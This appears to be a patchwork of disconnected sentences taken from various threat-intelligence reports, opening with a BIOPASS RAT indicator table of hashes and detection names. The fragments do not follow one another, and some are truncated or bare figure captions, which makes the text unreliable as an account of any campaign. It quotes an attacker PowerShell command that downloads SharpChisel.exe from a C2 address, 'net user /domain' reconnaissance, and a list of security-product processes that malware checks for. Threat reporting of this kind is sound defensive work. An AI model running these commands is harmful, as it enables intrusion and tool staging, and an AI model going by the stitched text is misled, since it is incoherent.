BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  0c8c11d0206c223798d83d8498bb21231bbeb30536a20ea29a5d9273bc63313d  s.txt  BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  2beabd8a9d9a485ab6d850f67ec25abbd66bf97b933ecc13cf0d63198e9ba26e  x.txt  Python script of Cobalt Strike shellcode loader  Trojan.Python.COBEACON.A  00977e254e744d4a242b552d055afe9d6429a5c3adb4ba169f302a53ba31795d  1-CS-443.lua  LUA script of Cobalt Strike shellcode loader  Trojan.Win32.COBEACON.BG dbb6c40cb1a49f4d1a5adc7f215e8e15f80b9f0b11db34c84e74a99e41671e06  Online.txt  BIOPASS RAT Python Script (local online server)  Trojan.Python.BIOPASS.A  943e8c9b0a0a37237ec429cb8a3ff3b39097949e6c57baf43918a34b0110dd8f  getwechatdb.txt  BIOPASS RAT Python Script (getwechatdb plugin script)  TrojanSpy.Python.BIOPASS.A  760fe7645134100301c69289a366bb92ab14927a7fbb9b405c1352989f16488c  wechat.txt  BIOPASS RAT Python Script (getwechatdb plugin script)  TrojanSpy.Python.BIOPASS.A  bdf7ebb2b38ea0c3dfb13da5d9cc56bf439d0519b29c3da61d2b2c0ab5bc6011  xss_spoof.zip  BIOPASS RAT Python Script (xss_spoof plugin package)  Trojan.Python.BIOPASS.A  e3183f52a388774545882c6148613c67a99086e5eb8d17a37158fc599ba8254b  x.js  XSS watering hole attack script  Trojan.JS.BIOPASS.A  d3956e237066a7c221cc4aaec27935d53f14db8ab4b1c018c84f6fccfd5d0058  script.txt  XSS attack JavaScript payload  Trojan.JS.BIOPASS.A  4e804bde376dc02daedf7674893470be633f8e2bda96fa64878bb1fcf3209f60  xss.txt  XSS attack HTML payload  Trojan.HTML.BIOPASS.A  05d1c273a4caeae787b2c3faf381b5480b27d836cd6e41266f3eb505dcee6186  flash.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  09530096643b835cff71a1e48020866fd0d4d0f643fe07f96acdcd06ce11dfa4  test-ticker.exe  BIOPASS RAT Loader  Backdoor.


A ransomware attack on a retailer could mean thousands of lost sales opportunities in the short-term, and serious damage to reputation in the long-term.


The engine retrieves code updated and new signatures updating from hxxp:// api.androidsantivirus .com /antivirus/android-arm, which is hosted on the app’s official website.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


Aside from using spear-phishing emails and a USB worm as arrival vectors, Earth Karkaddan also uses Android RATs that could be deployed by means of malicious phishing links.


Microsoft patched this vulnerability as part of the March 2017 Monthly Security Update Release by Microsoft Security Bulletin MS17-010.


Figure 1. Marade’s encrypted configuration on a Facebook post Figure 2. Infection chain of Blackgear’s attack Attack chain


They’re regular citizens.


We have identified the following functionalities:


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


The built-in RTPS discovery protocol is used in peer-to-peer networks to discover the locator of each participant (such as IP address and UDP/TCP port or offset in shared memory).


Figure 17 shows the list of processes that the routine searches on infection :  EndpointBasecamp.exe Trend Micro Endpoint Basecamp ResponseService.exe PccNTMon.exe SupportConnector.exe AOTAgent.exe CETASvc.exe CETASvc iVPAgent.exe tmwscsvc.exe TMResponse AOTAgentSvc TMBMServer iVPAgent Trend Micro Web Service Communicator Tmccsf Tmlisten Ntrtscan TmWSCSvc       Figure 17.


Take, for example, the previously mentioned pikrpro[.]eu.


Based on our knowledge, they have quite different purposes.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.


Unlike many other avenues of research and classification, mutex name based associations provides an almost trivial means of uniquely identifying common code blocks and thereby malware families.


What makes Void Balaur’s attacks particularly noteworthy is the often-lofty status of its targets.


Currently, we have not discovered substantial damage to these victims as caused by the threat group.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


IMAP RAT  Trojan


Figure 6. Current variables for rsync (the Shellbot)  Figure 7. Connects to C&C to send current control variables


We also observed malicious documents that don’t need to download anything from the internet as the backdoor’s dropper is already embedded in the document.


The malware looks for the strings “linux” and “rootfs” and reads it using a printf()-like format:      Figure 5.


Figure 1.


Additionally, in many attacks the malicious actors are removing their tracks once finished with that area, so having the ability to capture and keep intelligence can help with root cause analysis and correlate the different disparate components of an attack.


A shown in the top figure, an attacker, Charlie (C), carries out an attack that enables him to gain complete control of Alice’s email account, most likely through some form of credential theft.


New downloaders and trojans DATPER While this backdoor routine has been associated with TICK’s weapons arsenal, the sample we derived from this campaign had two adjusted mutex objects — d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb — that retrieve information from the victim’s machine.


The code structure and package name also changed, as well as its C&C address: 198[.]12[.]155[.]84.


We hope the information will help readers get a clear picture of current directions in ransomware trends.


Workload Security uses advanced security controls such as intrusion prevention system (IPS), deep packet inspection (DPI), and integrity monitoring to protect Exchange Servers from attackers that could exploit ProxyLogon.


This is a classic network worm-class vulnerability like MS-Blaster and Conficker.


At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe.


We found that the additional config file is located in %PUBLIC%\Documents\sdcsvc.dat, and that the content should be encoded by base64.


We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.


We disclosed our findings to Google on October 12 and worked with Google on further analyzing the AnubisSpy-related apps.


Figure 2: ByeBye Shell’s interface showing Confucius’ campaigns  Figure 3: Screenshot showing a group chat where the moderator is urging users to install Tweety Chat  Figure 4: Screenshot showing Tweety Chat promoted in social media


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.


The important thing to understand is what the mutex is really protecting.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.


If the command has one of the following prefixes, it will perform a specific behavior:


The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.


This attack is a call to action for all organizations to harden their networks against attacks and improve their network visibility.


Accept-Encoding: gzip Connection: Keep-Alive


Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.


Trend Micro solutions Ransomware continues to be a lingering threat, something we mentioned in our last Annual Security Roundup after seeing that the number of ransomware cases we detected climbed from 55 million in 2018 to 61 million in 2019.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Organizations in manufacturing, finance, and critical infrastructure have been identified in Trend Micro data as targets.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


Using automated tools to scan the internet for companies that may be running unsecured servers, which they can then infect with Magecart.


This is also why, after more than two years, there are still live VPNFilter hosts out there.


Primarily motivated by information theft and espionage, the group has also been seen adopting different strategies such as fine-tuning tools with new behaviors and going mobile with surveillanceware.


We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).


But it’s effective enough that when used in several hundred different spam campaigns every month it pays for the criminals to keep up these attacks against targets around the world.


Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.


The next command issued is the following: powershell.exe iwr -uri http://87.236.212[.]184/SharpChisel.exe -outfile c:\programdata\SharpChisel.exe -usebasicparsing


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In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).


Table 5


A Waterbear infection starts from a malicious DLL loader, as shown in Figure 1.


We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).


One key area is hardening your cloud account credentials, as these will be regularly targeted by malicious actors.


Deobfuscation technique


The script of a simple HTTP server to return string “dm_online”     If the malware finds that the system username is “vbccsb”


To get more details on all the different threats and attacks we observed, download and read the full report here.


When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.


Figure 2 shows one of these that was made to look like an Amazon shipping notice.


HTML Element ID Mirrorthief JSON Data Schema Information _cc_number aa


That's what you're probably going to see in the future as well.


But with new technology always comes new cyber risk.


Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.  Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.


The following Python code can be used for decryption, using the 'gh204503254' key:  At this stage, the remote server can send a number of different responses.


cmd.exe net user /domain


pipeCommunication.Close(); }


A simple WHOIS query of AnubisSpy’s C&C server showed it abused a legitimate managed hosting service provider in Belize.


The second indicator has to do with one of the methods of CyaX which was modified -- specifically the one injecting the binary in memory.


In one case, we observed a fake social media page copying content from an existing software company.


How does it work?


Based on the analysis of samples that were last seen in the wild in March 2018, the Maikspy variant (detected by Trend Micro as AndroidOS_MaikSpy.HRX) that runs on Android poses as Virtual Girlfriend to lure users into visiting the attackers’ malicious domain.


Point of Entry  Spear-phishing emails containing decoy documents Malicious shortcut (LNK) files and PowerShell Self-extracting archive (SFX) Runtime packers    Spear-phishing emails containing decoy documents exploiting CVE-2017-8759    Spear-phishing emails containing decoy documents exploiting  CVE-2017-11882, DDEAUTO, Microsoft Office Frameset and Link auto update   Notable Tools  Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads   Backdoor  ChChes    ANEL    ANEL     Technical Analysis  Figure 1.


We have not observed any Gmail accounts successfully compromised during these campaigns.


Figure 12.


But what if IE is running and also updating that file?


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.


Part of the ransomware execution code checks for the geolocation of potential victims to avoid companies in these countries, although the group would likely be aware of the location of a target organization long before the ransomware is executed.


To address such an issue, we’ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.


NSIS Installer NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


We saw a rising usage of tools that provide fully-undetectable obfuscation capabilities – signifying that the authors behind the samples designed their malware variants to be as stealthy as possible.


That's one of the first areas on either side they're looking to obtain dominance, is to knock out the command and control.


Users can also turn on mail inspection for sender “sendgrid[.]net” in the email gateway.


Attackers will work to identify vulnerable applications used in systems to exploit them and install web shells for remote code execution or data exfiltration.


Overall, we can see subtle changes, which indicate that the threat actors behind ANEL are making incremental improvements to the malware to refine it.


It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.


These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.


Figure 3.


Emails were sent to targets containing malicious attachments.


Using a different infrastructure to distribute spam